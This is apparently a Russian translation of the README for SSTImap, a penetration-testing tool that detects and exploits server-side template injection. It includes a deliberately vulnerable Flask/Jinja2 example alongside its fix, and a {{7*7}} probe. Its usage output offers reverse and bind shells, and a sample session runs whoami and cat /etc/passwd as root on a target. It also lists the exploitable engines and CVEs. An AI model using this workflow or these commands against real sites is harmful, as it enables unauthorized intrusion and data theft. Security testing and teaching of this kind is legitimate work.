
Автоматический инструмент обнаружения SSTI с интерактивным интерфейсом
Этот проект основан на Tplmap.
SSTImap — это программное обеспечение для тестирования на проникновение, которое может проверять веб-сайты на наличие уязвимостей внедрения кода и Server-Side Template Injection, а также эксплуатировать их, предоставляя доступ к самой операционной системе.
Этот инструмент был разработан для использования в качестве интерактивного инструмента тестирования на проникновение для обнаружения и эксплуатации SSTI, что позволяет проводить более продвинутую эксплуатацию. Дополнительные полезные нагрузки для SSTImap можно найти здесь.
Полезные нагрузки и техники взяты из:
Этот инструмент способен эксплуатировать некоторые обходы контекста кода и сценарии слепого внедрения. Он также поддерживает инъекции, подобные eval(), в Java, JavaScript, PHP, Python, Ruby и общих шаблонизаторах без песочницы.
Хотя это программное обеспечение основано на коде Tplmap, обратная совместимость не обеспечивается.
-i), упрощающий эксплуатацию и обнаружение--genericEval_generic-x) или одиночной команды (-X) на базовом языке-h для справкиЭто пример простого веб-сайта, написанного на Python с использованием фреймворка Flask и шаблонизатора Jinja2. Он интегрирует введённую пользователем переменную name небезопасным способом, так как она конкатенируется в строку шаблона перед рендерингом.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI УЯЗВИМОСТЬ:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Такой способ использования шаблонов не только создаёт XSS-уязвимость, но и позволяет атакующему внедрить код шаблона, который будет выполнен на сервере, что приводит к SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
Вводимые пользователем данные должны передаваться безопасным способом через контекст рендеринга:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
SSTImap в предопределённом режиме очень похож на Tplmap. Он способен обнаруживать и эксплуатировать SSTI-уязвимости во множестве различных шаблонов.
После эксплуатации SSTImap может предоставить доступ к оценке кода, выполнению команд ОС и манипуляции файловой системой.
Для проверки URL используйте аргумент -u:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Используйте опцию --os-shell, чтобы запустить псевдо-терминал на цели.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Чтобы получить полный список опций, используйте аргумент --help.
В интерактивном режиме для взаимодействия с SSTImap используются команды. Чтобы войти в интерактивный режим, используйте аргумент -i. Все остальные аргументы, кроме тех, что касаются полезных нагрузок эксплуатации, будут использоваться как начальные значения настроек.
Некоторые команды используются для изменения настроек между запусками тестов. Для запуска теста целевой URL должен быть предоставлен через начальный аргумент -u или команду url. После этого можно использовать команду run для проверки URL на SSTI.
Если SSTI найдена, можно использовать команды для начала эксплуатации. Вы получите те же возможности эксплуатации, что и в предопределённом режиме, но можете прервать их с помощью Ctrl+C без остановки программы.
Кстати, результаты тестов действительны до тех пор, пока не изменён целевой URL, поэтому вы можете легко переключаться между методами эксплуатации без повторного запуска теста обнаружения каждый раз.
Чтобы получить полный список интерактивных команд, используйте команду help в интерактивном режиме.
SSTImap поддерживает множество шаблонизаторов и инъекции, подобные eval().
Новые полезные нагрузки приветствуются в PR. Ознакомьтесь с советами для ускорения разработки.
Техники: (R)endered, (E)rror-based, (B)oolean error-based blind и (T)ime-based blind; Строчная буква обозначает частично поддерживаемую технику
Больше плагинов и полезных нагрузок можно найти в репозитории SSTImap Extra Plugins.
В настоящее время Burp Suite работает только с Jython как способ выполнения python2. Функциональность Python3 не предоставляется.
Если вы планируете внести что-то крупное из этого списка, сообщите мне, чтобы избежать одновременной работы над одним и тем же с другими участниками.
| Engine | RCE | Tech | Language | Type |
|---|
| Freemarker | ✓ | REBT | Java | Default |
| Java generic EL injections | ✓ | REBT | Java | Default |
| OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | Default |
| Velocity | ✓ | REBT | Java | Default |
| Nunjucks | ✓ | REBT | JavaScript | Default |
| Velocity.js | ✓ | REBT | JavaScript | Default |
| JavaScript (code eval) | ✓ | REBT | JavaScript | Default |
| JavaScript-based generic templates | ✓ | REBT | JavaScript | Default |
| Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | Default |
| PHP (code eval) | ✓ | REBT | PHP | Default |
| PHP-based generic templates | ✓ | REBT | PHP | Default |
| Jinja2 | ✓ | REBT | Python | Default |
| Python (code eval) | ✓ | REBT | Python | Default |
| Python-based generic templates | ✓ | REBT | Python | Default |
| ERB | ✓ | REBT | Ruby | Default |
| Slim | ✓ | REBT | Ruby | Default |
| Ruby (code eval) | ✓ | REBT | Ruby | Default |
| Generic evaluating templates | × | Reb_ | * | Default |
| SpEL (Spring EL code eval) | ✓ | REBT | Java | Generic |
| doT | ✓ | REBT | JavaScript | Generic |
| EJS | ✓ | REBT | JavaScript | Generic |
| Marko | ✓ | REBT | JavaScript | Generic |
| Pug | ✓ | REBT | JavaScript | Generic |
| Smarty | ✓ | REBT | PHP | Generic |
| Cheetah | ✓ | REBT | Python | Generic |
| Mako | ✓ | REBT | Python | Generic |
| Tornado | ✓ | REBT | Python | Generic |
| Dust (<= [email protected]) | ✓ | REBT | JavaScript | Legacy |
| Twig (<=1.19) | ✓ | REBT | PHP | Legacy |
| Templite | ✓ | REBT | Python | Legacy |
| SSI (Server-Side Includes injection) | ✓ | R__T | SSI | Legacy |
| CVE-2025-1302 | ✓ | REBT | JavaScript | Extra |
| CVE-2025-13204 | ✓ | REBT | JavaScript | Extra |
| CVE-2022-23614 | ✓ | REBT | PHP | Extra |
| CVE-2024-6386 | ✓ | REBT | PHP | Extra |